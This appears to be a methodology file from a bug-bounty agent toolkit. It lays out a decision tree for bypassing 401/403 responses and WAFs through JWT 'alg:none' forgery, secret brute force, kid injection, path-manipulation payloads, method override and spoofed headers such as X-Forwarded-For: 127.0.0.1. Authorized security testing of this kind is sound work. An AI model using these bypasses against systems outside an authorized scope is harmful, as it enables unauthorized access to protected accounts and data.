jinyimeng01/mastermind-bug-bounty/bypass

WAF bypass techniques are ONLY used when ALL of:
  ☐ Phase 0-3 safe testing is complete
  ☐ Phase 3.8 confirmed a HIGH-VALUE vulnerability blocked by WAF
  ☐ Normal 403/401 bypass techniques (below) have been exhausted
  ☐ The blocked vulnerability is worth the risk of IP ban
 
Safe-First reminder:
  🟢 Phase 0-2: 指纹/JS/联动 — passive or low-risk
  🟡 Phase 3: 加密/JWT — normal testing
  🔴 Phase 3.8: 高危探测 (Swagger/SQLi/CMD) — only after safe phases
  🚫 WAF Bypass: FINAL RESORT — only if Phase 3.8 vuln is blocked
 
If WAF blocks you before Phase 3.8:
  → Phase 0-3 data is already sufficient for a complete report
  → Do NOT waste time on WAF bypass for low-value targets

Got 401/403?
├── 0. JWT Token Attacks (if Authorization: Bearer eyJ... present)
│   ├── Bearer removal: strip "Bearer " prefix → test without it
│   ├── Algorithm confusion: change "alg":"RS256" → "alg":"none"
│   ├── Secret brute force: jwt.secrets.list + JS-extracted keywords
│   ├── Kid injection: modify kid header → path traversal / SQLi
│   └── See skills/jwt_attack/SKILL.md for full methodology
├── 1. Path Manipulation (highest success rate)
│   ├── /path/  /PATH  /path%20  /./path  //path
│   ├── /path;x  /path..;/  /%2e/path  /path%00
├── 2. Method Bypass
│   ├── POST/PUT/PATCH/DELETE/OPTIONS/HEAD
│   ├── X-HTTP-Method-Override: PUT
├── 3. Header Bypass
│   ├── X-Original-URL: /admin (Nginx/IIS)
│   ├── X-Forwarded-For: 127.0.0.1 (IP whitelist)
│   ├── Referer/Origin/Host forgery
├── 4. Protocol Bypass
│   └── HTTP/1.0
├── 5. Combo Attack
│   └── Method + Path + Header together
└── Failed → escalate to exploit agent for SSRF/smuggling

# 1. Bearer Removal (fast, no tools needed)
# Original: Authorization: Bearer eyJhbGciOiJSUzI1NiIs...
# Modified: Authorization: eyJhbGciOiJSUzI1NiIs...
 
# 2. Algorithm None
# Decode JWT, change header: {"alg":"none","typ":"JWT"}
# Re-encode without signature, send with: Authorization: Bearer <token>.
 
# 3. Secret brute force → see skills/jwt_attack/SKILL.md

Original: /api/admin/users
Position 1: /api/admin/users.json       (end)
Position 2: /api/admin/.json/users      (middle)
Position 3: /api/.json/admin/users      (front)
Position 4: /api/admin/users/..;/users  (backtrack)

GET /api/user/info → 405
POST /api/user/info + Content-Type: application/json + {} → 200 + error
→ Complete params from error message